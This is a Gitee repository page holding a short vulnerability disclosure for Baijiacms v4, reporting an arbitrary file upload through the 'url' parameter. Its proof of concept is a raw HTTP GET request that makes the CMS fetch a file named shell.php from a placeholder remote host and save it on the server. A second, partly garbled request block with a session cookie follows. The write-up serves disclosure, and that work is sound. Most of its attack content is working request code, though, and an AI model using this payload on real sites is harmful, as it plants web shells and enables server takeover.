To-LingJing / Cve number

Watch ▾ | 1   ☆ Star

</> Code   Issues 0   Pull Requests 0   Service ▾

Gitee Pages   JavaDoc   PHPDoc

sonarqube
Quality Analysis   Jenkins for Gitee   Baidu Efficiency Cloud

Tencent CloudBase   Tencent Cloud Serverless   悬镜安全 OPEN SCA

Don't show this again

master ▾   cve-number / images / Cve number.md 📋   Clone

📄 Cve number.md 1.67 KB   Copy Edit Web IDE Raw

To-LingJing authored 3 months ago . Arbitrary file upload exists in Baijiacms

• Arbitrary file upload ...

Arbitrary file upload exists in Baijiacms

vendor： https://baijiacms.github.io/

download link： https://github.com/baijiacms/baijiacmsV4.git

Vulnerability trigger parameter:&url

The process of vulnerability discovery is as follows：

poc

```
GET
/CMS/baijiacms_v4_1_4_20170105/index.php?mod=site&act=public&do=file&op=fetch&url=http://ip:port/shell.php&status=
Host:127.0.0.1
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64;x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

```
http://127.0.0.1/CMS/baijiacms                        act=manager&do=dev&beid=1
Cookie: PHPSESSID=n3Ig3p80u2s
Upgrade-Insecure-Requests:1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User:?1
```

Gitee 已支持 CLA 协议签署

✍️第一方功能集成，签署流程更高效
📋内置可自定义的协议模板
⚖️让开源贡献也能有据可依

I know   View Details

Files can be downloaded from a remote server and saved locally

Git Resources	Gitee Reward	OpenAPI	About Us	777320883	
Learning Git	Gitee Stars	Help Center	Join us	git@oschina.cn	
CopyCat	Featured Projects	Self-services	Terms of use	Gitee	
Downloads	Blog	Updates	Feedback	+86 400-606-0201	Mini Program
	Nonprofit		Partners		
	Gitee Go				